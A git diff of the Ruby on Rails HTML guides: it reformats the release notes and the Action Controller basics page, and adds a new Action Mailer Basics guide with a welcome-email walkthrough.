+<div class="paragraph"><p>You can unpack or install a single gem by specifying <tt>GEM=<em>gem_name</em></tt> on the command line.</p></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributor: <a href="http://github.com/al2o3cr">Matt Jones</a>
@@ -1057,10 +874,10 @@ Lead Contributor: <a href="http://github.com/al2o3cr">Matt Jones</a>
<p>
More information:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
-<a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies">What's New in Edge Rails: Gem Dependencies</a>
+<a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies">What&#8217;s New in Edge Rails: Gem Dependencies</a>
</p>
</li>
<li>
@@ -1077,10 +894,10 @@ More information:
</li>
</ul></div>
<h3 id="_other_railties_changes">10.2. Other Railties Changes</h3>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
-If you're a fan of the <a href="http://code.macournoyer.com/thin/">Thin</a> web server, you'll be happy to know that <tt>script/server</tt> now supports Thin directly.
+If you&#8217;re a fan of the <a href="http://code.macournoyer.com/thin/">Thin</a> web server, you&#8217;ll be happy to know that <tt>script/server</tt> now supports Thin directly.
</p>
</li>
<li>
@@ -1090,7 +907,7 @@ If you're a fan of the <a href="http://code.macournoyer.com/thin/">Thin</a> web
</li>
<li>
<p>
-<tt>script/console</tt> now supports a <tt>&#8212;debugger</tt> option
+<tt>script/console</tt> now supports a <tt>--debugger</tt> option
</p>
</li>
<li>
@@ -1117,8 +934,8 @@ To eliminate deprecation warnings and properly handle gem dependencies, Rails no
</div>
<h2 id="_deprecated">11. Deprecated</h2>
<div class="sectionbody">
-<div class="para"><p>A few pieces of older code are deprecated in this release:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>A few pieces of older code are deprecated in this release:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>Rails::SecretKeyGenerator</tt> has been replaced by <tt>ActiveSupport::SecureRandom</tt>
@@ -1126,7 +943,7 @@ To eliminate deprecation warnings and properly handle gem dependencies, Rails no
</li>
<li>
<p>
-<tt>render_component</tt> is deprecated. There's a <a href="http://github.com/rails/render_component/tree/master">render_components plugin</a> available if you need this functionality.
+<tt>render_component</tt> is deprecated. There&#8217;s a <a href="http://github.com/rails/render_component/tree/master">render_components plugin</a> available if you need this functionality.
</p>
</li>
<li>
@@ -1143,10 +960,9 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> partial_with_implicit_local_assignment
<span style="color: #009900">@customer</span> <span style="color: #990000">=</span> Customer<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Marcel"</span><span style="color: #990000">)</span>
render <span style="color: #990000">:</span>partial <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"customer"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Previously the above code made available a local variable called <tt>customer</tt> inside the partial <em>customer</em>. You should explicitly pass all the variables via :locals hash now.</p></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Previously the above code made available a local variable called <tt>customer</tt> inside the partial <em>customer</em>. You should explicitly pass all the variables via :locals hash now.</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>country_select</tt> has been removed. See the <a href="http://www.rubyonrails.org/deprecation/list-of-countries">deprecation page</a> for more information and a plugin replacement.
@@ -1174,17 +990,17 @@ The <tt>%s</tt> and <tt>%d</tt> interpolation syntax for internationalization is
</li>
<li>
<p>
-Durations of fractional months or fractional years are deprecated. Use Ruby's core <tt>Date</tt> and <tt>Time</tt> class arithmetic instead.
+Durations of fractional months or fractional years are deprecated. Use Ruby&#8217;s core <tt>Date</tt> and <tt>Time</tt> class arithmetic instead.
</p>
</li>
</ul></div>
</div>
<h2 id="_credits">12. Credits</h2>
<div class="sectionbody">
-<div class="para"><p>Release notes compiled by <a href="http://afreshcup.com">Mike Gunderloy</a></p></div>
+<div class="paragraph"><p>Release notes compiled by <a href="http://afreshcup.com">Mike Gunderloy</a></p></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/action_mailer_basics.html b/railties/doc/guides/html/action_mailer_basics.html
new file mode 100644
index 0000000000..56451818eb
--- /dev/null
+++ b/railties/doc/guides/html/action_mailer_basics.html
@@ -0,0 +1,197 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Action Mailer Basics</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+</head>
+<body>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_what_is_action_mailer">What is Action Mailer?</a>
+ </li>
+ <li>
+ <a href="#_quick_walkthrough_to_creating_a_mailer">Quick walkthrough to creating a Mailer</a>
+ <ul>
+
+ <li><a href="#_1_create_the_mailer">1. Create the mailer:</a></li>
+
+ <li><a href="#_2_edit_the_model">2. Edit the model:</a></li>
+
+ <li><a href="#_3_create_the_mailer_view">3. Create the mailer view</a></li>
+
+ <li><a href="#_4_wire_it_up_so_that_the_system_sends_the_email_when_a_user_signs_up">4. Wire it up so that the system sends the email when a user signs up</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_mailer_testing">Mailer Testing</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Action Mailer Basics</h1>
+ <div id="preamble">
+<div class="sectionbody">
+<div class="paragraph"><p>This guide should provide you with all you need to get started in sending emails from your application, and will also cover how to test your mailers.</p></div>
+</div>
+</div>
+<h2 id="_what_is_action_mailer">1. What is Action Mailer?</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Action Mailer allows you to send email from your application using a mailer model and views.
+Yes, that is correct, in Rails, emails are used by creating Models that inherit from ActionMailer::Base. They live alongside other models in /app/models BUT they have views just like controllers that appear alongside other views in app/views.</p></div>
+</div>
+<h2 id="_quick_walkthrough_to_creating_a_mailer">2. Quick walkthrough to creating a Mailer</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Let&#8217;s say you want to send a welcome email to a user after they signup. Here is how you would go about this:</p></div>
+<h3 id="_1_create_the_mailer">2.1. 1. Create the mailer:</h3>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">.</span>/script/generate mailer UserMailer
+exists app/models<span style="color: #990000">/</span>
+create app/views/user_mailer
+exists test/unit<span style="color: #990000">/</span>
+create test/fixtures/user_mailer
+create app/models/user_mailer<span style="color: #990000">.</span>rb
+create test/unit/user_mailer_test<span style="color: #990000">.</span>rb</tt></pre></div></div>
+<div class="paragraph"><p>So we got the model, the fixtures, and the tests all created for us</p></div>
+<h3 id="_2_edit_the_model">2.2. 2. Edit the model:</h3>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserMailer <span style="color: #990000">&lt;</span> ActionMailer<span style="color: #990000">::</span>Base
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Lets add a method called welcome_email, that will send an email to the user&#8217;s registered email address:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserMailer <span style="color: #990000">&lt;</span> ActionMailer<span style="color: #990000">::</span>Base
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> welcome_email<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
+ recipients user<span style="color: #990000">.</span>email
+ from <span style="color: #FF0000">"My Awesome Site Notifications&lt;notifications@example.com&gt;"</span>
+ subject <span style="color: #FF0000">"Welcome to My Awesome Site"</span>
+ sent_on Time<span style="color: #990000">.</span>now
+ body <span style="color: #FF0000">{</span><span style="color: #990000">:</span>user <span style="color: #990000">=&gt;</span> user<span style="color: #990000">,</span> <span style="color: #990000">:</span>url <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"http://example.com/login"</span><span style="color: #FF0000">}</span>
+ content_type <span style="color: #FF0000">"text/html"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>So what do we have here?
+recipients: who the recipients are, put in an array for multiple, ie, @recipients = ["user1@example.com", "user2@example.com"]
+from: Who the email will appear to come from in the recipients' mailbox
+subject: The subject of the email
+sent_on: Timestamp for the email
+content_type: The content type, by default is text/plain</p></div>
+<div class="paragraph"><p>How about @body[:user]? Well anything you put in the @body hash will appear in the mailer view (more about mailer views below) as an instance variable ready for you to use, ie, in our example the mailer view will have a @user instance variable available for its consumption.</p></div>
+<h3 id="_3_create_the_mailer_view">2.3. 3. Create the mailer view</h3>
+<div class="paragraph"><p></p></div>
+<div class="paragraph"><p>The file can look like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">&lt;!DOCTYPE</span></span> <span style="color: #009900">html</span> <span style="color: #009900">PUBLIC</span> <span style="color: #FF0000">"-//W3C//DTD XHTML 1.0 Transitional//EN"</span> <span style="color: #FF0000">"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"</span><span style="font-weight: bold"><span style="color: #000080">&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;meta</span></span> <span style="color: #009900">content</span><span style="color: #990000">=</span><span style="color: #009900">'text/html;</span> <span style="color: #009900">charset</span><span style="color: #990000">=</span><span style="color: #009900">iso-8859-1'</span> <span style="color: #009900">http-equiv</span><span style="color: #990000">=</span><span style="color: #009900">'Content-Type'</span> <span style="font-weight: bold"><span style="color: #0000FF">/&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Welcome to example.com, &lt;%= @user.first_name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
+ You have successfully signed up to example.com, and your username is: &lt;%= @user.login %&gt;.<span style="font-weight: bold"><span style="color: #0000FF">&lt;br/&gt;</span></span>
+ To login to the site, just follow this link: &lt;%= @url %&gt;.
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Thanks for joining and have a great day!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">&lt;/body&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
+<h3 id="_4_wire_it_up_so_that_the_system_sends_the_email_when_a_user_signs_up">2.4. 4. Wire it up so that the system sends the email when a user signs up</h3>
+<div class="paragraph"><p>There are 3 was to achieve this. One is to send the email from the controller that sends the email, another is to put it in a before_create block in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it&#8217;s wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent.</p></div>
+<div class="paragraph"><p></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Code that already exists</span></span>
+
+Rails<span style="color: #990000">::</span>Initializer<span style="color: #990000">.</span>run <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>config<span style="color: #990000">|</span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Code that already exists</span></span>
+
+ config<span style="color: #990000">.</span>active_record<span style="color: #990000">.</span>observers <span style="color: #990000">=</span> <span style="color: #990000">:</span>user_observer
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Code that already exists</span></span>
+
+Rails<span style="color: #990000">::</span>Initializer<span style="color: #990000">.</span>run <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>config<span style="color: #990000">|</span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Code that already exists</span></span>
+
+ config<span style="color: #990000">.</span>load_paths <span style="color: #990000">+=</span> <span style="color: #990000">%</span>W<span style="color: #990000">(#</span><span style="color: #FF0000">{</span>RAILS_ROOT<span style="color: #FF0000">}</span><span style="color: #FF6600">/app/</span>observers<span style="color: #990000">)</span>
+
+ config<span style="color: #990000">.</span>active_record<span style="color: #990000">.</span>observers <span style="color: #990000">=</span> <span style="color: #990000">:</span>user_observer
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>ALMOST THERE :) Now all we need is that danged observer, and we&#8217;re done:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserObserver <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Observer
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_create<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
+ UserMailer<span style="color: #990000">.</span>deliver_welcome_email<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Notice how we call deliver_welcome_email? Where is that method? Well if you remember, we created a method called welcome_email in UserMailer, right? Well, as part of the "magic" of rails, we deliver the email identified by welcome_email by calling deliver_welcome_email.</p></div>
+<div class="paragraph"><p>That&#8217;s it! Now whenever your users signup, they will be greeted with a nice welcome email. Next up, we&#8217;ll talk about how to test a mailer model.</p></div>
+</div>
+<h2 id="_mailer_testing">3. Mailer Testing</h2>
+<div class="sectionbody">
+</div>
+
+ </div>
+ </div>
+</body>
+</html>
diff --git a/railties/doc/guides/html/actioncontroller_basics.html b/railties/doc/guides/html/actioncontroller_basics.html
index 4af157d4f7..f5b25a4d7a 100644
--- a/railties/doc/guides/html/actioncontroller_basics.html
+++ b/railties/doc/guides/html/actioncontroller_basics.html
@@ -1,300 +1,130 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Action Controller basics</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Action Controller basics</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_what_does_a_controller_do">What Does a Controller do?</a>
- </li>
- <li>
- <a href="#_methods_and_actions">Methods and Actions</a>
- </li>
- <li>
- <a href="#_parameters">Parameters</a>
- <ul>
-
- <li><a href="#_hash_and_array_parameters">Hash and Array Parameters</a></li>
-
- <li><a href="#_routing_parameters">Routing Parameters</a></li>
-
- <li><a href="#_tt_default_url_options_tt"><tt>default_url_options</tt></a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_session">Session</a>
- <ul>
-
- <li><a href="#_disabling_the_session">Disabling the Session</a></li>
-
- <li><a href="#_accessing_the_session">Accessing the Session</a></li>
-
- <li><a href="#_the_flash">The flash</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_cookies">Cookies</a>
- </li>
- <li>
- <a href="#_filters">Filters</a>
- <ul>
-
- <li><a href="#_after_filters_and_around_filters">After Filters and Around Filters</a></li>
-
- <li><a href="#_other_ways_to_use_filters">Other Ways to Use Filters</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_verification">Verification</a>
- </li>
- <li>
- <a href="#_request_forgery_protection">Request Forgery Protection</a>
- </li>
- <li>
- <a href="#_the_tt_request_tt_and_tt_response_tt_objects">The <tt>request</tt> and <tt>response</tt> Objects</a>
- <ul>
-
- <li><a href="#_the_tt_request_tt_object">The <tt>request</tt> Object</a></li>
-
- <li><a href="#_the_tt_response_tt_object">The <tt>response</tt> Object</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_http_basic_authentication">HTTP Basic Authentication</a>
- </li>
- <li>
- <a href="#_streaming_and_file_downloads">Streaming and File Downloads</a>
- <ul>
-
- <li><a href="#_sending_files">Sending Files</a></li>
-
- <li><a href="#_restful_downloads">RESTful Downloads</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_parameter_filtering">Parameter Filtering</a>
- </li>
- <li>
- <a href="#_rescue">Rescue</a>
- <ul>
-
- <li><a href="#_the_default_500_and_404_templates">The Default 500 and 404 Templates</a></li>
-
- <li><a href="#_tt_rescue_from_tt"><tt>rescue_from</tt></a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Action Controller basics</h1>
- <div id="preamble">
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_what_does_a_controller_do">What Does a Controller do?</a>
+ </li>
+ <li>
+ <a href="#_methods_and_actions">Methods and Actions</a>
+ </li>
+ <li>
+ <a href="#_parameters">Parameters</a>
+ <ul>
+
+ <li><a href="#_hash_and_array_parameters">Hash and Array Parameters</a></li>
+
+ <li><a href="#_routing_parameters">Routing Parameters</a></li>
+
+ <li><a href="#_tt_default_url_options_tt"><tt>default_url_options</tt></a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_session">Session</a>
+ <ul>
+
+ <li><a href="#_accessing_the_session">Accessing the Session</a></li>
+
+ <li><a href="#_the_flash">The flash</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_cookies">Cookies</a>
+ </li>
+ <li>
+ <a href="#_filters">Filters</a>
+ <ul>
+
+ <li><a href="#_after_filters_and_around_filters">After Filters and Around Filters</a></li>
+
+ <li><a href="#_other_ways_to_use_filters">Other Ways to Use Filters</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_verification">Verification</a>
+ </li>
+ <li>
+ <a href="#_request_forgery_protection">Request Forgery Protection</a>
+ </li>
+ <li>
+ <a href="#_the_tt_request_tt_and_tt_response_tt_objects">The <tt>request</tt> and <tt>response</tt> Objects</a>
+ <ul>
+
+ <li><a href="#_the_tt_request_tt_object">The <tt>request</tt> Object</a></li>
+
+ <li><a href="#_the_tt_response_tt_object">The <tt>response</tt> Object</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_http_basic_authentication">HTTP Basic Authentication</a>
+ </li>
+ <li>
+ <a href="#_streaming_and_file_downloads">Streaming and File Downloads</a>
+ <ul>
+
+ <li><a href="#_sending_files">Sending Files</a></li>
+
+ <li><a href="#_restful_downloads">RESTful Downloads</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_parameter_filtering">Parameter Filtering</a>
+ </li>
+ <li>
+ <a href="#_rescue">Rescue</a>
+ <ul>
+
+ <li><a href="#_the_default_500_and_404_templates">The Default 500 and 404 Templates</a></li>
+
+ <li><a href="#_tt_rescue_from_tt"><tt>rescue_from</tt></a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Action Controller basics</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Follow the flow of a request through a controller
@@ -312,17 +142,17 @@ Work with filters to execute code during request processing
</li>
<li>
<p>
-Use Action Controller's built-in HTTP authentication
+Use Action Controller&#8217;s built-in HTTP authentication
</p>
</li>
<li>
<p>
-Stream data directly to the user's browser
+Stream data directly to the user&#8217;s browser
</p>
</li>
<li>
<p>
-Filter sensitive parameters so they do not appear in the application's log
+Filter sensitive parameters so they do not appear in the application&#8217;s log
</p>
</li>
<li>
@@ -335,9 +165,9 @@ Deal with exceptions that may be raised during request processing
</div>
<h2 id="_what_does_a_controller_do">1. What Does a Controller do?</h2>
<div class="sectionbody">
-<div class="para"><p>Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.</p></div>
-<div class="para"><p>For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.</p></div>
-<div class="para"><p>A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.</p></div>
+<div class="paragraph"><p>Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.</p></div>
+<div class="paragraph"><p>For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that&#8217;s not a problem, this is just the most common way for a controller to work.</p></div>
+<div class="paragraph"><p>A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -349,7 +179,7 @@ Deal with exceptions that may be raised during request processing
</div>
<h2 id="_methods_and_actions">2. Methods and Actions</h2>
<div class="sectionbody">
-<div class="para"><p>A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.</p></div>
+<div class="paragraph"><p>A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -371,10 +201,9 @@ private
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> foo
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.</p></div>
